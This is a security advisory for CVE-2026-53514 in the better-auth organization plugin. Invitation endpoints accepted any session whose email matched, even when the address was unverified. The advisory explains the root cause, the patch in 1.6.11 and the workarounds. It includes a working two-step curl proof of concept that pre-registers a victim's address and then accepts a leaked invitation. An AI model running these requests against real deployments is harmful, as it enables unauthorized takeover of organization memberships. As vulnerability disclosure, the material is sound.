CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration
An attacker who registers an account using a victim's email address (without verifying it) can accept organization invitations meant for that victim, joining the organization at whatever role the admi
The problem
The better-auth organization plugin's acceptInvitation, rejectInvitation, getInvitation, and listUserInvitations endpoints checked only that the session user's email string matched the invitation's email. No check was made on whether that email was actually verified.
With the default emailAndPassword config (requireEmailVerification defaults to false), an attacker can call POST /api/auth/sign-up/email using a victim's address and receive an immediate authenticated session. That session's email matches any pending invitation for that address, so the attacker fully controls the acceptance flow before the real owner ever signs up.
Proof of concept
A working proof-of-concept for CVE-2026-53514 in better-auth, with the exact payload below.
# Step 1: Pre-register an unverified account at the victim's address.
# The server auto-signs you in and issues a session cookie (emailVerified: false).
curl -s -c cookies.txt -X POST https://target.example/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"victim@target.example","password":"Attacker1!","name":"attacker"}'
# Step 2: Accept the invitation using the leaked invitationId.
# The pre-patch gate passes because invitation.email == session.user.email.
curl -s -b cookies.txt -X POST https://target.example/api/auth/organization/accept-invitation \
-H 'Content-Type: application/json' \
-d '{"invitationId":"<leaked-invitation-id>"}'The root cause is that email-string equality is not proof of email ownership. POST /sign-up/email creates a row with emailVerified: false for any caller, so the attacker's session email and the invitation email match without the attacker ever owning the mailbox.
The patch adds a mandatory emailVerified: true check across all four invitation endpoints. The requireEmailVerificationOnInvitation option, which previously defaulted to false and only covered acceptInvitation and rejectInvitation, now effectively defaults to on and is extended to getInvitation and listUserInvitations as well.
The option is marked deprecated; a follow-up minor will remove it and make the check unconditional.
This is the same trust-primitive class as GHSA-g38m-r43w-p2q7 (OAuth auto-link): email equality does not equal ownership; both sides must independently prove ownership.
The fix
Upgrade to better-auth@1.6.11 or later. All four invitation recipient endpoints now require session.user.emailVerified === true in addition to the email match.
If you cannot upgrade immediately: set organization({ requireEmailVerificationOnInvitation: true }) to close acceptInvitation and rejectInvitation (getInvitation and listUserInvitations remain ungated on older versions), or set emailAndPassword: { requireEmailVerification: true } to prevent unverified sessions from being created at all.
Reported by @widavies.
Related research
- high · 8.3CVE-2026-53516CVE-2026-53516: better-auth OAuth Auto-Link Account Takeover via Unverified Email
- high · 7.7better-auth Stored XSS via javascript: redirect_uri in oidc-provider and mcp Plugins
- critical · 9.6CVE-2026-53513CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints
- high · 8.3@better-auth/scim: SCIM Provider Account Takeover via Missing Owner Binding